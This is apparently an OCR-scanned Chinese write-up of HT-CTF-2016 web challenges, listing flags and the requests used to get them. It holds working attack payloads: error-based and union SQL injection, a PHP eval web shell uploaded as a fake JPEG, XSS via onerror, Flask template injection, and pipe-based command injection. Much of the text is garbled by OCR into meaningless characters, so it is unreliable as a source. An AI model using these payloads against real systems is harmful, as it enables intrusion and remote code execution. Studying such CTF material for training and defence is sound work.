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SFFHENY, RJ5F 2 LI Index. php ,
Rt % F Flflag

A HIDDEN FLAG: FLAG{th!5!5n@tth3fl@g}
mEH 2

4 Hfirefoxd®submitffidisable £
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AT SWLWLWL L L TN AY T W

Accept:

text/html, application/xhtml+xml, application/xml;q=0.9,*%/*;q=0.8
Accept-Language: zh,en-US;g=0.7,en;q=0.3

Set-Cookie: Member=TmoybWrs
Content-Length: 894
Keep-Alive: timeout=5S, max=100

Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

Accept-Encoding: gzip, deflate

Referer: http://21B.76.35,75:20113/

Cookle: PHPSESSID=1po8ql855hScd2tk8248:3t1482; User=JohnTanlGl;
Membe r=CWRtald=

Connection: keep-alive

flag{Cooki3_nOm_nGm_nom}

Content-Type: application/x-www-form-urlencoded <html>
Content-Length: 17 <head=
<title=HT-CTF-2016 - admin</titl
adminportal=Enter </head=
<body
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— 18 & B php AR AS B it
payloadl F :

http://218.76.35.75:20114/?foo={"barl":"2017f", "bar2":

Z Fflag

{php_i5_net_b4d}
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2 bob Fl sam HIMD5f# H >R 435 /& bob317 Ml sama29 , B 4HE, SANHARE BB —T slash JG5HRET,



R BT 723, HAEE

g/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.0rg/1999/xhtml" lang="zh-cn"=

<head=<meta http-equiv="Content-Type" content="text/html; charset=utf-8" [=<met]
http-equiv="Content-Language" content="zh-CN" /=

=</head=

<body=

<html=

<title>Hello World</title=>

<body=

<h1=hi,my name is slash ,my password is flag{nice_ted4m_nice_Rock}.</h1>
=</body=
<f/html=

http://f218.76.35.75:20115/1index.php?page=e0abf23f3c6783eb43992635dfbe0daf
723

B H6

RIESRR, RhttpkKEN, MBI LEEMA—E, KIENRE referer 2, REHBRR, KT UREEN, BESH
AT, XEMEESE BEERBERTLUT.
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ZHAEEBEA flag M visits HkR
RIGTE flag RETHA id M flag B 5|

B J5 Wpayload i T :
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIHEIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII
SRBEWMT

RCCEPT-ENCOOLNG: £ LONTENT- Iype: TeXT/NIML; cnarset=ulr-s
Referer:2',extractvalue(1l,concat (Ox3c, (select

group_concat(id, "==",flag) from flag)})l# <html=

Connection: 2 <head=

Cache-Control: 2 <meta http-equiv="Content-Type" content="text/html;

charset=utf-8"=>
<title>heetian sec</title>
</head>

<p style="color:#03C"></p=

<p>Wecome our official sites:heetian.com/heetian.php</p>
=p=Waist long hair, teenager marry me these days.<p=>
</body=

XPATH syntax error: '<l==YOugetT82f00000Laey|

</body>

</html>

BRT
BREH, WE% LA RN, R

upload success,but not php!

BE(E_E A% php A7~ 6 R Ejpg U4, ssctf2016# J5 & —
SR L =HRKIA: hitp://mww.wooyun.org/bugs/wooyun-2015-0125982

WTFE, fmultipartform-dataZE#e— T KNG, FHE A content-Type BURE F KA image/jpeg , RJEEZFlflag

ACCepT-Language: zn,en-uUs;q=u, /, en;q=u. s LONTENT- 1ype: TeXT/NTML; CharseT=ult-d
‘ccept-Encoding: gzip, deflate
ieferer: hitp://218.76.35.75: 20122/ upload Success!flag:Uplo6d30668ss9h97aFil3

Zonnectlon: keep-alive

Zontent-Type: Multipart/form-data;

J0URdary=- - 772179183381 215100206240726
lontent-Length: 362

----------------------------- 772179183381 2151 00206240726
Zontent-Disposition: form-data: name="file"; filename="a.php"
Zontent-Type: image/jpeg

=7php

aval (§_POST['bdw']);

7>

----------------------------- 772179183381 21 5100206240726
lontent-Disposition: form-data: name="MAX_FILE_SIZE"

----------------------------- 772179183381 2151 00206240726- -



http://www.wooyun.org/bugs/wooyun-2015-0125982
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LB HE}F flea.php BT, 2RJ57Ecookie B & Hiflag

Accept-Encoding: gzip, deflate
Cookile: flag=COO0klelsB0SeclSe
Connection: keep-alive

BE9
R MRS i, H#E4 Hpayload

http:

Z3lflag

B H10
WEXANEZEEIFIE, RIEIRR alert document.domain ,
PEE R A E AT, RREE2 B —Nimghi,

BRIT IR B AR

alert(document.domain)

B BH 3% ] R 2 A Hi flag

JERET T

123" onerror

REMBRAagT, Lif. o o ©

& H 11
WRiEIR S Uiflagfe /flag , HiEitpageZ K /flag , WRIEHNTHEE I

<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<title>3RiMRELEZR </title>

</head>

<body>
flag REEX B <I-- flag: 62a72ch23d5e 7c0284da9f21e66¢9ffihp--></body>

</html>



B 2iflaghifE, UilBI7S 3] flag

BH12
B HS5Z A%, fcookie BMHuserdk admin 2 J5, #EMiguessld, &/J5=2573.

RIBWT:

<p></p=></body=>
<f/html=

but to somebody you may just be the world<p></p>flag:EaSy7@ChingGeekie
573

AE13
TR, EAELENE, BEREREN, REWMFEATT, BEBERNASILZERIag, REHERfagT. o o o -

payload WIT:



id name

@ hetian lab

& H 14
ER—AEA D E S lag

age

thisisforunionsglinjection

B H15
AU, R L |, T,

AT EREANFERGlstr WU, 5T, MptEZEV s HRKI ST,

37T83e03aledef5573er11cca?5048808 css

footer.php header.php

127.0.0.1 | Is|

A amE s % ares

submit

index.php

B8 Vj i http://218.76.35.75:20105/3f83e03a1e4e6557 3ef11cca25048808

HEsifag T
A H 16
B, R
A HA7

RYE IR Referer F X-Forward-For 20T, SRJETEAHR Sk B H K Flpassword, FEMD5

B2 J5 Recafe, SRJEIRATENTAT

POST / HTTR/1.1

Host: 218.76.35.74:65280

User-aAgent: Mozillas5.0 (¥11; Ubuntu; Linux xB86 64; rv:47.0)
Gecko/20100101 Firefox/47.0

Accept:

text/html, application/xhtml+xnl, application/xml; q=0.9,*/*;q=0.8
Accept-Language: zh,en-US;q=0.7,en:q=0.3

Accept-Encoding: gzip, deflate

Referer: http://www.lle.ac.cn

X-Forward-For: 10.10.20.1

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded
Content-Length: 13

password=cafe

e

HTTF/1.1 200 0K

Date: Mon, 25 Jul 2016 10:47:22 GMT
Server: Apaches2.4.7 (Ubuntu)
X-Powered-By: PHP/S.5.9-lubuntud.17
Password: d2626T412da748e711cadfdaef428664
Vary: Accept-Encoding

Content-Length: 2624

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html; charset=gh2312

<script=alert('Flag:
84294deb396bad373c5eaBb73falllb2" ) ;</script> </DOCTYFE himl>
<html=
<head>

<title=DrinkCoffee</title=

<META http-equiv=Content-Type content="text/html;
charset=gh2312"=>


http://218.76.35.75:20105/3f83e03a1e4e65573ef11cca25048808

& H18

PR T & kindeditor , 2RJSBEME R —/Ns, 132 kindeditor fRAZ4.1.7, H2mZKindEditor 4.1.7 IR EE 42 &, ISR
AL F/php/file_manager_json.php,

WHZ, 53

E 7 attached HR TFTHEA flag_clue.php , Vi, 5% —Hbaseb4H BB FZ/FE, k— T HRELERfag

{uveDoneAgreatJob}

BHE19
BEMENRN 2B, ETEAMIEE, SRART git XK, K, XTHEHAET

EHERBERTR, REEM=t""1—, KEKETHH

-files -d

WE G

bendawang:Bendawang:pts/1
20:47:21 on —> 1s
footer.php hack.php header.php 1index.php

BENMEEEN XM, RiNERLBEEag, BEVRTHL, KAE=A0X

20:43:46 on —> git checkout [j

1.0.0 HEAD master

PI#%01.0.0, R/5FHEF hack.php, flagiBl T ! BEWTF:



(20:43:37 on )—> git checkout 1.0.0 —(—, 7H25)
Mote: checking out '1.8.08'.

You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by performing another checkout.

If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -b with the checkout command again. Example:

git checkout -b new_branch_name

HEAD BRIfiIF s7efa7s... init
I: ~f/download —————————— (bendawangBendawang: ptsfi :I

(20:43:42 on )—> 1s —(—, 7H25)
s footer.php hack.php header.php index.php

~f/download —————————— (bendawangBendawang: ptsfi :I
(20:43:44 on )—> cat hack.php —(—, 7H25)

* Created by PhpStorm.
* User: pfven

* Date: 2016/7/20

* Time:

3 H 20
R Rpython, VRIS EEBEF T flask, R Tk, RRTEdatakhFF7Essti
2 —ANiE i vE M ostE B I poc,

__subclasses () %} {% if c._ | L "catch_warnings' %} {% for b

XEEHITZE R B FTEA 473bfas3bfeble673d6d151a799af923.py , cat— FE Flflag

Hello flag is :pythonpwn_flask !

which thing having to do !
learn sleep| submit

A H21

AHAGE, R, KEAFMEEAT

3 H 22

HEAMEMEXKER T, dKAKE, H2FE, H# Epayload

_SESSION | login




& H 23

B 5efuzzi] R A BB BIFAE— admin K7, HEidboolEIEEEIMDS/EKIHY, AEWT:

332 admin XJ B2 D

ERREALR, FBERZE, TRIFHBEER, A KK robots bR G IRE £ 2] T M TR

HRYEIRAD A 44 i poctn T -

A H 24
WO, WL, JRE

Fi 32 H 3% http://218.76.35.75:20116/flagishere/

WX BREBEGE—T




ZFflag

& H 25

T &0 S index.php. swpZEZJEALHED, M FEES

session_start();

1) || 'is_numeric(

mysql _query(

mysql query(




= mysql fetch_array(:q)) {

mysql fetch_array(mysql query(

[e]. 5

mysql_fetch_array(mysql _query(

[e]. .round( [1],2).

REIIE, RIAHEENSHBIREN, AR id M vote FHERIE T HERE, BERKWEITEEE ¢r['id'], BAidXEH
FEZKEN, BN 1 and 1=2 union select database() FI16BEHIBEMIIBEANSIRE, A5 H ZIREUH KRR EEHTA
THEWIES, MEERNEEHEES. XEREEHGEHT ZRIEANT, BRXBEFEENREE, FHA

T information_schema FE, ZERMIVA T T, EH¥ 1 and 1=2 union select flag from t_flag, HtEZFflagT, WMTF:
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